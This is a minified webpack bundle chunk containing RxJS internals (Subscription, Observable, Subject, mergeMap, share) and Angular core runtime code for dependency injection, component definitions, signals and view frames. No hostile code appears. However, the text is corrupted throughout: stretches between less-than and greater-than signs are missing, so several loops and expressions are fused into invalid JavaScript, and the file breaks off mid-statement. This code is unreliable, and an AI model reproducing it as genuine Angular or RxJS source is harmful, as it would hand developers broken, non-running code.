"use strict";(self.webpackChunklayout_v1=self.webpackChunklayout_v1||[]).push([[179],{264:()=>{function ie(e){return"function"==typeof e}function Ro(e){const r=e(n=>{Error.call(n),n.stack=(new Error).stack});return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}const as=Ro(e=>function(r){e(this),this.message=r?`${r.length} errors occurred during unsubscription:\n${r.map((n,o)=>`${o+1}) ${n.toString()}`).join("\n ")}`:"",this.name="UnsubscriptionError",this.errors=r});function Oo(e,t){if(e){const r=e.indexOf(t);0<=r&&e.splice(r,1)}}class lt{constructor(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}unsubscribe(){let t;if(!this.closed){this.closed=!0;const{_parentage:r}=this;if(r)if(this._parentage=null,Array.isArray(r))for(const i of r)i.remove(this);else r.remove(this);const{initialTeardown:n}=this;if(ie(n))try{n()}catch(i){t=i instanceof as?i.errors:[i]}const{_finalizers:o}=this;if(o){this._finalizers=null;for(const i of o)try{yh(i)}catch(s){t=t??[],s instanceof as?t=[...t,...s.errors]:t.push(s)}}if(t)throw new as(t)}}add(t){var r;if(t&&t!==this)if(this.closed)yh(t);else{if(t instanceof lt){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=null!==(r=this._finalizers)&&void 0!==r?r:[]).push(t)}}_hasParent(t){const{_parentage:r}=this;return r===t||Array.isArray(r)&&r.includes(t)}_addParent(t){const{_parentage:r}=this;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t}_removeParent(t){const{_parentage:r}=this;r===t?this._parentage=null:Array.isArray(r)&&Oo(r,t)}remove(t){const{_finalizers:r}=this;r&&Oo(r,t),t instanceof lt&&t._removeParent(this)}}lt.EMPTY=(()=>{const e=new lt;return e.closed=!0,e})();const mh=lt.EMPTY;function vh(e){return e instanceof lt||e&&"closed"in e&&ie(e.remove)&&ie(e.add)&&ie(e.unsubscribe)}function yh(e){ie(e)?e():e.unsubscribe()}const Qn={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1},ls={setTimeout(e,t,...r){const{delegate:n}=ls;return n?.setTimeout?n.setTimeout(e,t,...r):setTimeout(e,t,...r)},clearTimeout(e){const{delegate:t}=ls;return(t?.clearTimeout||clearTimeout)(e)},delegate:void 0};function _h(e){ls.setTimeout(()=>{const{onUnhandledError:t}=Qn;if(!t)throw e;t(e)})}function Vl(){}const oE=jl("C",void 0,void 0);function jl(e,t,r){return{kind:e,value:t,error:r}}let Xn=null;function us(e){if(Qn.useDeprecatedSynchronousErrorHandling){const t=!Xn;if(t&&(Xn={errorThrown:!1,error:null}),e(),t){const{errorThrown:r,error:n}=Xn;if(Xn=null,r)throw n}}else e()}class Bl extends lt{constructor(t){super(),this.isStopped=!1,t?(this.destination=t,vh(t)&&t.add(this)):this.destination=dE}static create(t,r,n){return new Po(t,r,n)}next(t){this.isStopped?$l(function sE(e){return jl("N",e,void 0)}(t),this):this._next(t)}error(t){this.isStopped?$l(function iE(e){return jl("E",void 0,e)}(t),this):(this.isStopped=!0,this._error(t))}complete(){this.isStopped?$l(oE,this):(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe(),this.destination=null)}_next(t){this.destination.next(t)}_error(t){try{this.destination.error(t)}finally{this.unsubscribe()}}_complete(){try{this.destination.complete()}finally{this.unsubscribe()}}}const lE=Function.prototype.bind;function Hl(e,t){return lE.call(e,t)}class uE{constructor(t){this.partialObserver=t}next(t){const{partialObserver:r}=this;if(r.next)try{r.next(t)}catch(n){cs(n)}}error(t){const{partialObserver:r}=this;if(r.error)try{r.error(t)}catch(n){cs(n)}else cs(t)}complete(){const{partialObserver:t}=this;if(t.complete)try{t.complete()}catch(r){cs(r)}}}class Po extends Bl{constructor(t,r,n){let o;if(super(),ie(t)||!t)o={next:t??void 0,error:r??void 0,complete:n??void 0};else{let i;this&&Qn.useDeprecatedNextContext?(i=Object.create(t),i.unsubscribe=()=>this.unsubscribe(),o={next:t.next&&Hl(t.next,i),error:t.error&&Hl(t.error,i),complete:t.complete&&Hl(t.complete,i)}):o=t}this.destination=new uE(o)}}function cs(e){Qn.useDeprecatedSynchronousErrorHandling?function aE(e){Qn.useDeprecatedSynchronousErrorHandling&&Xn&&(Xn.errorThrown=!0,Xn.error=e)}(e):_h(e)}function $l(e,t){const{onStoppedNotification:r}=Qn;r&&ls.setTimeout(()=>r(e,t))}const dE={closed:!0,next:Vl,error:function cE(e){throw e},complete:Vl},Ul="function"==typeof Symbol&&Symbol.observable||"@@observable";function An(e){return e}function Dh(e){return 0===e.length?An:1===e.length?e[0]:function(r){return e.reduce((n,o)=>o(n),r)}}let De=(()=>{class e{constructor(r){r&&(this._subscribe=r)}lift(r){const n=new e;return n.source=this,n.operator=r,n}subscribe(r,n,o){const i=function pE(e){return e&&e instanceof Bl||function hE(e){return e&&ie(e.next)&&ie(e.error)&&ie(e.complete)}(e)&&vh(e)}(r)?r:new Po(r,n,o);return us(()=>{const{operator:s,source:a}=this;i.add(s?s.call(i,a):a?this._subscribe(i):this._trySubscribe(i))}),i}_trySubscribe(r){try{return this._subscribe(r)}catch(n){r.error(n)}}forEach(r,n){return new(n=Ch(n))((o,i)=>{const s=new Po({next:a=>{try{r(a)}catch(l){i(l),s.unsubscribe()}},error:i,complete:o});this.subscribe(s)})}_subscribe(r){var n;return null===(n=this.source)||void 0===n?void 0:n.subscribe(r)}[Ul](){return this}pipe(...r){return Dh(r)(this)}toPromise(r){return new(r=Ch(r))((n,o)=>{let i;this.subscribe(s=>i=s,s=>o(s),()=>n(i))})}}return e.create=t=>new e(t),e})();function Ch(e){var t;return null!==(t=e??Qn.Promise)&&void 0!==t?t:Promise}const gE=Ro(e=>function(){e(this),this.name="ObjectUnsubscribedError",this.message="object unsubscribed"});let Ot=(()=>{class e extends De{constructor(){super(),this.closed=!1,this.currentObservers=null,this.observers=[],this.isStopped=!1,this.hasError=!1,this.thrownError=null}lift(r){const n=new wh(this,this);return n.operator=r,n}_throwIfClosed(){if(this.closed)throw new gE}next(r){us(()=>{if(this._throwIfClosed(),!this.isStopped){this.currentObservers||(this.currentObservers=Array.from(this.observers));for(const n of this.currentObservers)n.next(r)}})}error(r){us(()=>{if(this._throwIfClosed(),!this.isStopped){this.hasError=this.isStopped=!0,this.thrownError=r;const{observers:n}=this;for(;n.length;)n.shift().error(r)}})}complete(){us(()=>{if(this._throwIfClosed(),!this.isStopped){this.isStopped=!0;const{observers:r}=this;for(;r.length;)r.shift().complete()}})}unsubscribe(){this.isStopped=this.closed=!0,this.observers=this.currentObservers=null}get observed(){var r;return(null===(r=this.observers)||void 0===r?void 0:r.length)>0}_trySubscribe(r){return this._throwIfClosed(),super._trySubscribe(r)}_subscribe(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)}_innerSubscribe(r){const{hasError:n,isStopped:o,observers:i}=this;return n||o?mh:(this.currentObservers=null,i.push(r),new lt(()=>{this.currentObservers=null,Oo(i,r)}))}_checkFinalizedStatuses(r){const{hasError:n,thrownError:o,isStopped:i}=this;n?r.error(o):i&&r.complete()}asObservable(){const r=new De;return r.source=this,r}}return e.create=(t,r)=>new wh(t,r),e})();class wh extends Ot{constructor(t,r){super(),this.destination=t,this.source=r}next(t){var r,n;null===(n=null===(r=this.destination)||void 0===r?void 0:r.next)||void 0===n||n.call(r,t)}error(t){var r,n;null===(n=null===(r=this.destination)||void 0===r?void 0:r.error)||void 0===n||n.call(r,t)}complete(){var t,r;null===(r=null===(t=this.destination)||void 0===t?void 0:t.complete)||void 0===r||r.call(t)}_subscribe(t){var r,n;return null!==(n=null===(r=this.source)||void 0===r?void 0:r.subscribe(t))&&void 0!==n?n:mh}}function bh(e){return ie(e?.lift)}function Se(e){return t=>{if(bh(t))return t.lift(function(r){try{return e(r,this)}catch(n){this.error(n)}});throw new TypeError("Unable to lift unknown Observable type")}}function Ee(e,t,r,n,o){return new mE(e,t,r,n,o)}class mE extends Bl{constructor(t,r,n,o,i,s){super(t),this.onFinalize=i,this.shouldUnsubscribe=s,this._next=r?function(a){try{r(a)}catch(l){t.error(l)}}:super._next,this._error=o?function(a){try{o(a)}catch(l){t.error(l)}finally{this.unsubscribe()}}:super._error,this._complete=n?function(){try{n()}catch(a){t.error(a)}finally{this.unsubscribe()}}:super._complete}unsubscribe(){var t;if(!this.shouldUnsubscribe||this.shouldUnsubscribe()){const{closed:r}=this;super.unsubscribe(),!r&&(null===(t=this.onFinalize)||void 0===t||t.call(this))}}}function Y(e,t){return Se((r,n)=>{let o=0;r.subscribe(Ee(n,i=>{n.next(e.call(t,i,o++))}))})}function Tn(e){return this instanceof Tn?(this.v=e,this):new Tn(e)}function Sh(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,t=e[Symbol.asyncIterator];return t?t.call(e):(e=function Wl(e){var t="function"==typeof Symbol&&Symbol.iterator,r=t&&e[t],n=0;if(r)return r.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&n>=e.length&&(e=void 0),{value:e&&e[n++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}(e),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(i){r[i]=e[i]&&function(s){return new Promise(function(a,l){!function o(i,s,a,l){Promise.resolve(l).then(function(u){i({value:u,done:a})},s)}(a,l,(s=e[i](s)).done,s.value)})}}}"function"==typeof SuppressedError&&SuppressedError;const Ah=e=>e&&"number"==typeof e.length&&"function"!=typeof e;function Th(e){return ie(e?.then)}function Nh(e){return ie(e[Ul])}function xh(e){return Symbol.asyncIterator&&ie(e?.[Symbol.asyncIterator])}function Rh(e){return new TypeError(`You provided ${null!==e&&"object"==typeof e?"an invalid object":`'${e}'`} where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.`)}const Oh=function VE(){return"function"==typeof Symbol&&Symbol.iterator?Symbol.iterator:"@@iterator"}();function Ph(e){return ie(e?.[Oh])}function Fh(e){return function Ih(e,t,r){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var o,n=r.apply(e,t||[]),i=[];return o={},s("next"),s("throw"),s("return"),o[Symbol.asyncIterator]=function(){return this},o;function s(f){n[f]&&(o[f]=function(h){return new Promise(function(p,g){i.push([f,h,p,g])>1||a(f,h)})})}function a(f,h){try{!function l(f){f.value instanceof Tn?Promise.resolve(f.value.v).then(u,c):d(i[0][2],f)}(n[f](h))}catch(p){d(i[0][3],p)}}function u(f){a("next",f)}function c(f){a("throw",f)}function d(f,h){f(h),i.shift(),i.length&&a(i[0][0],i[0][1])}}(this,arguments,function*(){const r=e.getReader();try{for(;;){const{value:n,done:o}=yield Tn(r.read());if(o)return yield Tn(void 0);yield yield Tn(n)}}finally{r.releaseLock()}})}function kh(e){return ie(e?.getReader)}function ut(e){if(e instanceof De)return e;if(null!=e){if(Nh(e))return function jE(e){return new De(t=>{const r=e[Ul]();if(ie(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}(e);if(Ah(e))return function BE(e){return new De(t=>{for(let r=0;r{e.then(r=>{t.closed||(t.next(r),t.complete())},r=>t.error(r)).then(null,_h)})}(e);if(xh(e))return Lh(e);if(Ph(e))return function $E(e){return new De(t=>{for(const r of e)if(t.next(r),t.closed)return;t.complete()})}(e);if(kh(e))return function UE(e){return Lh(Fh(e))}(e)}throw Rh(e)}function Lh(e){return new De(t=>{(function zE(e,t){var r,n,o,i;return function Eh(e,t,r,n){return new(r||(r=Promise))(function(i,s){function a(c){try{u(n.next(c))}catch(d){s(d)}}function l(c){try{u(n.throw(c))}catch(d){s(d)}}function u(c){c.done?i(c.value):function o(i){return i instanceof r?i:new r(function(s){s(i)})}(c.value).then(a,l)}u((n=n.apply(e,t||[])).next())})}(this,void 0,void 0,function*(){try{for(r=Sh(e);!(n=yield r.next()).done;)if(t.next(n.value),t.closed)return}catch(s){o={error:s}}finally{try{n&&!n.done&&(i=r.return)&&(yield i.call(r))}finally{if(o)throw o.error}}t.complete()})})(e,t).catch(r=>t.error(r))})}function ln(e,t,r,n=0,o=!1){const i=t.schedule(function(){r(),o?e.add(this.schedule(null,n)):this.unsubscribe()},n);if(e.add(i),!o)return i}function Pe(e,t,r=1/0){return ie(t)?Pe((n,o)=>Y((i,s)=>t(n,i,o,s))(ut(e(n,o))),r):("number"==typeof t&&(r=t),Se((n,o)=>function GE(e,t,r,n,o,i,s,a){const l=[];let u=0,c=0,d=!1;const f=()=>{d&&!l.length&&!u&&t.complete()},h=g=>u{i&&t.next(g),u++;let v=!1;ut(r(g,c++)).subscribe(Ee(t,y=>{o?.(y),i?h(y):t.next(y)},()=>{v=!0},void 0,()=>{if(v)try{for(u--;l.length&&up(y)):p(y)}f()}catch(y){t.error(y)}}))};return e.subscribe(Ee(t,h,()=>{d=!0,f()})),()=>{a?.()}}(n,o,e,r)))}function _r(e=1/0){return Pe(An,e)}const Wt=new De(e=>e.complete());function Zl(e){return e[e.length-1]}function Vh(e){return ie(Zl(e))?e.pop():void 0}function Fo(e){return function WE(e){return e&&ie(e.schedule)}(Zl(e))?e.pop():void 0}function jh(e,t=0){return Se((r,n)=>{r.subscribe(Ee(n,o=>ln(n,e,()=>n.next(o),t),()=>ln(n,e,()=>n.complete(),t),o=>ln(n,e,()=>n.error(o),t)))})}function Bh(e,t=0){return Se((r,n)=>{n.add(e.schedule(()=>r.subscribe(n),t))})}function Hh(e,t){if(!e)throw new Error("Iterable cannot be null");return new De(r=>{ln(r,t,()=>{const n=e[Symbol.asyncIterator]();ln(r,t,()=>{n.next().then(o=>{o.done?r.complete():r.next(o.value)})},0,!0)})})}function Ae(e,t){return t?function e0(e,t){if(null!=e){if(Nh(e))return function YE(e,t){return ut(e).pipe(Bh(t),jh(t))}(e,t);if(Ah(e))return function XE(e,t){return new De(r=>{let n=0;return t.schedule(function(){n===e.length?r.complete():(r.next(e[n++]),r.closed||this.schedule())})})}(e,t);if(Th(e))return function QE(e,t){return ut(e).pipe(Bh(t),jh(t))}(e,t);if(xh(e))return Hh(e,t);if(Ph(e))return function JE(e,t){return new De(r=>{let n;return ln(r,t,()=>{n=e[Oh](),ln(r,t,()=>{let o,i;try{({value:o,done:i}=n.next())}catch(s){return void r.error(s)}i?r.complete():r.next(o)},0,!0)}),()=>ie(n?.return)&&n.return()})}(e,t);if(kh(e))return function KE(e,t){return Hh(Fh(e),t)}(e,t)}throw Rh(e)}(e,t):ut(e)}class Ct extends Ot{constructor(t){super(),this._value=t}get value(){return this.getValue()}_subscribe(t){const r=super._subscribe(t);return!r.closed&&t.next(this._value),r}getValue(){const{hasError:t,thrownError:r,_value:n}=this;if(t)throw r;return this._throwIfClosed(),n}next(t){super.next(this._value=t)}}function R(...e){return Ae(e,Fo(e))}function $h(e={}){const{connector:t=(()=>new Ot),resetOnError:r=!0,resetOnComplete:n=!0,resetOnRefCountZero:o=!0}=e;return i=>{let s,a,l,u=0,c=!1,d=!1;const f=()=>{a?.unsubscribe(),a=void 0},h=()=>{f(),s=l=void 0,c=d=!1},p=()=>{const g=s;h(),g?.unsubscribe()};return Se((g,v)=>{u++,!d&&!c&&f();const y=l=l??t();v.add(()=>{u--,0===u&&!d&&!c&&(a=Yl(p,o))}),y.subscribe(v),!s&&u>0&&(s=new Po({next:m=>y.next(m),error:m=>{d=!0,f(),a=Yl(h,r,m),y.error(m)},complete:()=>{c=!0,f(),a=Yl(h,n),y.complete()}}),ut(g).subscribe(s))})(i)}}function Yl(e,t,...r){if(!0===t)return void e();if(!1===t)return;const n=new Po({next:()=>{n.unsubscribe(),e()}});return ut(t(...r)).subscribe(n)}function Pt(e,t){return Se((r,n)=>{let o=null,i=0,s=!1;const a=()=>s&&!o&&n.complete();r.subscribe(Ee(n,l=>{o?.unsubscribe();let u=0;const c=i++;ut(e(l,c)).subscribe(o=Ee(n,d=>n.next(t?t(l,d,c,u++):d),()=>{o=null,a()}))},()=>{s=!0,a()}))})}function r0(e,t){return e===t}function te(e){for(let t in e)if(e[t]===te)return t;throw Error("Could not find renamed property on target object.")}function ds(e,t){for(const r in t)t.hasOwnProperty(r)&&!e.hasOwnProperty(r)&&(e[r]=t[r])}function Te(e){if("string"==typeof e)return e;if(Array.isArray(e))return"["+e.map(Te).join(", ")+"]";if(null==e)return""+e;if(e.overriddenName)return`${e.overriddenName}`;if(e.name)return`${e.name}`;const t=e.toString();if(null==t)return""+t;const r=t.indexOf("\n");return-1===r?t:t.substring(0,r)}function Ql(e,t){return null==e||""===e?null===t?"":t:null==t||""===t?e:e+" "+t}const o0=te({__forward_ref__:te});function le(e){return e.__forward_ref__=le,e.toString=function(){return Te(this())},e}function F(e){return Xl(e)?e():e}function Xl(e){return"function"==typeof e&&e.hasOwnProperty(o0)&&e.__forward_ref__===le}function Jl(e){return e&&!!e.\u0275providers}const Uh="https://g.co/ng/security#xss";class D extends Error{constructor(t,r){super(function fs(e,t){return`NG0${Math.abs(e)}${t?": "+t:""}`}(t,r)),this.code=t}}function L(e){return"string"==typeof e?e:null==e?"":String(e)}function Kl(e,t){throw new D(-201,!1)}function wt(e,t){null==e&&function O(e,t,r,n){throw new Error(`ASSERTION ERROR: ${e}`+(null==n?"":` [Expected=> ${r} ${n} ${t} <=Actual]`))}(t,e,null,"!=")}function x(e){return{token:e.token,providedIn:e.providedIn||null,factory:e.factory,value:void 0}}function bt(e){return{providers:e.providers||[],imports:e.imports||[]}}function hs(e){return zh(e,gs)||zh(e,Gh)}function zh(e,t){return e.hasOwnProperty(t)?e[t]:null}function ps(e){return e&&(e.hasOwnProperty(eu)||e.hasOwnProperty(h0))?e[eu]:null}const gs=te({\u0275prov:te}),eu=te({\u0275inj:te}),Gh=te({ngInjectableDef:te}),h0=te({ngInjectorDef:te});var z=function(e){return e[e.Default=0]="Default",e[e.Host=1]="Host",e[e.Self=2]="Self",e[e.SkipSelf=4]="SkipSelf",e[e.Optional=8]="Optional",e}(z||{});let tu;function tt(e){const t=tu;return tu=e,t}function Wh(e,t,r){const n=hs(e);return n&&"root"==n.providedIn?void 0===n.value?n.value=n.factory():n.value:r&z.Optional?null:void 0!==t?t:void Kl(Te(e))}const ue=globalThis,ko={},su="__NG_DI_FLAG__",ms="ngTempTokenPath",m0=/\n/gm,Yh="__source";let Dr;function Nn(e){const t=Dr;return Dr=e,t}function _0(e,t=z.Default){if(void 0===Dr)throw new D(-203,!1);return null===Dr?Wh(e,void 0,t):Dr.get(e,t&z.Optional?null:void 0,t)}function N(e,t=z.Default){return(function qh(){return tu}()||_0)(F(e),t)}function M(e,t=z.Default){return N(e,vs(t))}function vs(e){return typeof e>"u"||"number"==typeof e?e:0|(e.optional&&8)|(e.host&&1)|(e.self&&2)|(e.skipSelf&&4)}function au(e){const t=[];for(let r=0;rt){s=i-1;break}}}for(;ii?"":o[d+1].toLowerCase();const h=8&n?f:null;if(h&&-1!==Kh(h,u,0)||2&n&&u!==f){if(kt(n))return!1;s=!0}}}}else{if(!s&&!kt(n)&&!kt(l))return!1;if(s&&kt(l))continue;s=!1,n=l|1&n}}return kt(n)||s}function kt(e){return 0==(1&e)}function I0(e,t,r,n){if(null===t)return-1;let o=0;if(n||!r){let i=!1;for(;o-1)for(r++;r0?'="'+a+'"':"")+"]"}else 8&n?o+="."+s:4&n&&(o+=" "+s);else""!==o&&!kt(s)&&(t+=sp(i,o),o=""),n=s,i=i||!kt(n);r++}return""!==o&&(t+=sp(i,o)),t}function Ds(e){return un(()=>{const t=lp(e),r={...t,decls:e.decls,vars:e.vars,template:e.template,consts:e.consts||null,ngContentSelectors:e.ngContentSelectors,onPush:e.changeDetection===ys.OnPush,directiveDefs:null,pipeDefs:null,dependencies:t.standalone&&e.dependencies||null,getStandaloneInjector:null,signals:e.signals??!1,data:e.data||{},encapsulation:e.encapsulation||Ft.Emulated,styles:e.styles||Z,_:null,schemas:e.schemas||null,tView:null,id:""};up(r);const n=e.dependencies;return r.directiveDefs=Cs(n,!1),r.pipeDefs=Cs(n,!0),r.id=function j0(e){let t=0;const r=[e.selectors,e.ngContentSelectors,e.hostVars,e.hostAttrs,e.consts,e.vars,e.decls,e.encapsulation,e.standalone,e.signals,e.exportAs,JSON.stringify(e.inputs),JSON.stringify(e.outputs),Object.getOwnPropertyNames(e.type.prototype),!!e.contentQueries,!!e.viewQuery].join("|");for(const o of r)t=Math.imul(31,t)+o.charCodeAt(0)<<0;return t+=2147483648,"c"+t}(r),r})}function F0(e){return q(e)||Fe(e)}function k0(e){return null!==e}function Lt(e){return un(()=>({type:e.type,bootstrap:e.bootstrap||Z,declarations:e.declarations||Z,imports:e.imports||Z,exports:e.exports||Z,transitiveCompileScopes:null,schemas:e.schemas||null,id:e.id||null}))}function ap(e,t){if(null==e)return Zt;const r={};for(const n in e)if(e.hasOwnProperty(n)){let o=e[n],i=o;Array.isArray(o)&&(i=o[1],o=o[0]),r[o]=n,t&&(t[o]=i)}return r}function k(e){return un(()=>{const t=lp(e);return up(t),t})}function q(e){return e[_s]||null}function Fe(e){return e[lu]||null}function qe(e){return e[uu]||null}function dt(e,t){const r=e[Xh]||null;if(!r&&!0===t)throw new Error(`Type ${Te(e)} does not have '\u0275mod' property.`);return r}function lp(e){const t={};return{type:e.type,providersResolver:null,factory:null,hostBindings:e.hostBindings||null,hostVars:e.hostVars||0,hostAttrs:e.hostAttrs||null,contentQueries:e.contentQueries||null,declaredInputs:t,inputTransforms:null,inputConfig:e.inputs||Zt,exportAs:e.exportAs||null,standalone:!0===e.standalone,signals:!0===e.signals,selectors:e.selectors||Z,viewQuery:e.viewQuery||null,features:e.features||null,setInput:null,findHostDirectiveDefs:null,hostDirectives:null,inputs:ap(e.inputs,t),outputs:ap(e.outputs)}}function up(e){e.features?.forEach(t=>t(e))}function Cs(e,t){if(!e)return null;const r=t?qe:F0;return()=>("function"==typeof e?e():e).map(n=>r(n)).filter(k0)}const ve=0,E=1,B=2,pe=3,Vt=4,Bo=5,He=6,wr=7,Ce=8,xn=9,br=10,V=11,Ho=12,cp=13,Er=14,we=15,$o=16,Mr=17,Yt=18,Uo=19,dp=20,Rn=21,dn=22,zo=23,Go=24,G=25,du=1,fp=2,Qt=7,Ir=9,ke=11;function rt(e){return Array.isArray(e)&&"object"==typeof e[du]}function We(e){return Array.isArray(e)&&!0===e[du]}function fu(e){return 0!=(4&e.flags)}function Kn(e){return e.componentOffset>-1}function bs(e){return 1==(1&e.flags)}function jt(e){return!!e.template}function hu(e){return 0!=(512&e[B])}function er(e,t){return e.hasOwnProperty(cn)?e[cn]:null}let Le=null,Es=!1;function Et(e){const t=Le;return Le=e,t}const gp={version:0,dirty:!1,producerNode:void 0,producerLastReadVersion:void 0,producerIndexOfThis:void 0,nextProducerIndex:0,liveConsumerNode:void 0,liveConsumerIndexOfThis:void 0,consumerAllowSignalWrites:!1,consumerIsAlwaysLive:!1,producerMustRecompute:()=>!1,producerRecomputeValue:()=>{},consumerMarkedDirty:()=>{}};function vp(e){if(!Wo(e)||e.dirty){if(!e.producerMustRecompute(e)&&!Dp(e))return void(e.dirty=!1);e.producerRecomputeValue(e),e.dirty=!1}}function _p(e){e.dirty=!0,function yp(e){if(void 0===e.liveConsumerNode)return;const t=Es;Es=!0;try{for(const r of e.liveConsumerNode)r.dirty||_p(r)}finally{Es=t}}(e),e.consumerMarkedDirty?.(e)}function gu(e){return e&&(e.nextProducerIndex=0),Et(e)}function mu(e,t){if(Et(t),e&&void 0!==e.producerNode&&void 0!==e.producerIndexOfThis&&void 0!==e.producerLastReadVersion){if(Wo(e))for(let r=e.nextProducerIndex;re.nextProducerIndex;)e.producerNode.pop(),e.producerLastReadVersion.pop(),e.producerIndexOfThis.pop()}}function Dp(e){Sr(e);for(let t=0;t0}function Sr(e){e.producerNode??=[],e.producerIndexOfThis??=[],e.producerLastReadVersion??=[]}let Ep=null;const Ap=()=>{},J0=(()=>({...gp,consumerIsAlwaysLive:!0,consumerAllowSignalWrites:!1,consumerMarkedDirty:e=>{e.schedule(e.ref)},hasRun:!1,cleanupFn:Ap}))();class K0{constructor(t,r,n){this.previousValue=t,this.currentValue=r,this.firstChange=n}isFirstChange(){return this.firstChange}}function Mt(){return Tp}function Tp(e){return e.type.prototype.ngOnChanges&&(e.setInput=tM),eM}function eM(){const e=xp(this),t=e?.current;if(t){const r=e.previous;if(r===Zt)e.previous=t;else for(let n in t)r[n]=t[n];e.current=null,this.ngOnChanges(t)}}function tM(e,t,r,n){const o=this.declaredInputs[r],i=xp(e)||function nM(e,t){return e[Np]=t}(e,{previous:Zt,current:null}),s=i.current||(i.current={}),a=i.previous,l=a[o];s[o]=new K0(l&&l.currentValue,t,a===Zt),e[n]=t}Mt.ngInherit=!0;const Np="__ngSimpleChanges__";function xp(e){return e[Np]||null}const Xt=function(e,t,r){};function ce(e){for(;Array.isArray(e);)e=e[ve];return e}function Is(e,t){return ce(t[e])}function ot(e,t){return ce(t[e.index])}function Pp(e,t){return e.data[t]}function ft(e,t){const r=t[e];return rt(r)?r:r[ve]}function Pn(e,t){return null==t?null:e[t]}function Fp(e){e[Mr]=0}function lM(e){1024&e[B]||(e[B]|=1024,Lp(e,1))}function kp(e){1024&e[B]&&(e[B]&=-1025,Lp(e,-1))}function Lp(e,t){let r=e[pe];if(null===r)return;r[Bo]+=t;let n=r;for(r=r[pe];null!==r&&(1===t&&1===n[Bo]||-1===t&&0===n[Bo]);)r[Bo]+=t,n=r,r=r[pe]}const P={lFrame:Zp(null),bindingsEnabled:!0,skipHydrationRootTNode:null};function Bp(){return P.bindingsEnabled}function _(){return P.lFrame.lView}function W(){return P.lFrame.tView}function Re(e){return P.lFrame.contextLView=e,e[Ce]}function Oe(e){return P.lFrame.contextLView=null,e}function Ve(){let e=Hp();for(;null!==e&&64===e.type;)e=e.parent;return e}function Hp(){return P.lFrame.currentTNode}function Jt(e,t){const r=P.lFrame;r.currentTNode=e,r.isParent=t}function Cu(){return P.lFrame.isParent}function Nr(){return P.lFrame.bindingIndex++}function DM(e,t){const r=P.lFrame;r.bindingIndex=r.bindingRootIndex=e,bu(t)}function bu(e){P.lFrame.currentDirectiveIndex=e}function Mu(e){P.lFrame.currentQueryIndex=e}function wM(e){const t=e[E];return 2===t.type?t.declTNode:1===t.type?e[He]:null}function qp(e,t,r){if(r&z.SkipSelf){let o=t,i=e;for(;!(o=o.parent,null!==o||r&z.Host||(o=wM(i),null===o||(i=i[Er],10&o.type))););if(null===o)return!1;t=o,e=i}const n=P.lFrame=Wp();return n.currentTNode=t,n.lView=e,!0}function Iu(e){const t=Wp(),r=e[E];P.lFrame=t,t.currentTNode=r.firstChild,t.lView=e,t.tView=r,t.contextLView=e,t.bindingIndex=r.bindingStartIndex,t.inI18n=!1}function Wp(){const e=P.lFrame,t=null===e?null:e.child;return null===t?Zp(e):t}function Zp(e){const t={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:e,child:null,inI18n:!1};return null!==e&&(e.child=t),t}function Yp(){const e=P.lFrame;return P.lFrame=e.parent,e.currentTNode=null,e.lView=null,e}const Qp=Yp;function Su(){const e=Yp();e.isParent=!0,e.tView=null,e.selectedIndex=-1,e.contextLView=null,e.elementDepthCount=0,e.currentDirectiveIndex=-1,e.currentNamespace=null,e.bindingRootIndex=-1,e.bindingIndex=-1,e.currentQueryIndex=0}function Ye(){return P.lFrame.selectedIndex}function tr(e){P.lFrame.selectedIndex=e}function me(){const e=P.lFrame;return Pp(e.tView,e.selectedIndex)}let Jp=!0;function Ss(){return Jp}function Fn(e){Jp=e}function As(e,t){for(let r=t.directiveStart,n=t.directiveEnd;r=n)break}else t[l]<0&&(e[Mr]+=65536),(a>13>16&&(3&e[B])===t&&(e[B]+=8192,eg(a,i)):eg(a,i)}const xr=-1;class Yo{constructor(t,r,n){this.factory=t,this.resolving=!1,this.canSeeViewProviders=r,this.injectImpl=n}}function Nu(e){return e!==xr}function Qo(e){return 32767&e}function Xo(e,t){let r=function PM(e){return e>>16}(e),n=t;for(;r>0;)n=n[Er],r--;return n}let xu=!0;function xs(e){const t=xu;return xu=e,t}const tg=255,ng=5;let FM=0;const Kt={};function Rs(e,t){const r=rg(e,t);if(-1!==r)return r;const n=t[E];n.firstCreatePass&&(e.injectorIndex=t.length,Ru(n.data,e),Ru(t,null),Ru(n.blueprint,null));const o=Os(e,t),i=e.injectorIndex;if(Nu(o)){const s=Qo(o),a=Xo(o,t),l=a[E].data;for(let u=0;u<8;u++)t[i+u]=a[s+u]|l[s+u]}return t[i+8]=o,i}function Ru(e,t){e.push(0,0,0,0,0,0,0,0,t)}function rg(e,t){return-1===e.injectorIndex||e.parent&&e.parent.injectorIndex===e.injectorIndex||null===t[e.injectorIndex+8]?-1:e.injectorIndex}function Os(e,t){if(e.parent&&-1!==e.parent.injectorIndex)return e.parent.injectorIndex;let r=0,n=null,o=t;for(;null!==o;){if(n=cg(o),null===n)return xr;if(r++,o=o[Er],-1!==n.injectorIndex)return n.injectorIndex|r<<16}return xr}function Ou(e,t,r){!function kM(e,t,r){let n;"string"==typeof r?n=r.charCodeAt(0)||0:r.hasOwnProperty(Vo)&&(n=r[Vo]),null==n&&(n=r[Vo]=FM++);const o=n&tg;t.data[e+(o>>ng)]|=1<=0?t&tg:HM:t}(r);if("function"==typeof i){if(!qp(t,e,n))return n&z.Host?og(o,0,n):ig(t,r,n,o);try{let s;if(s=i(n),null!=s||n&z.Optional)return 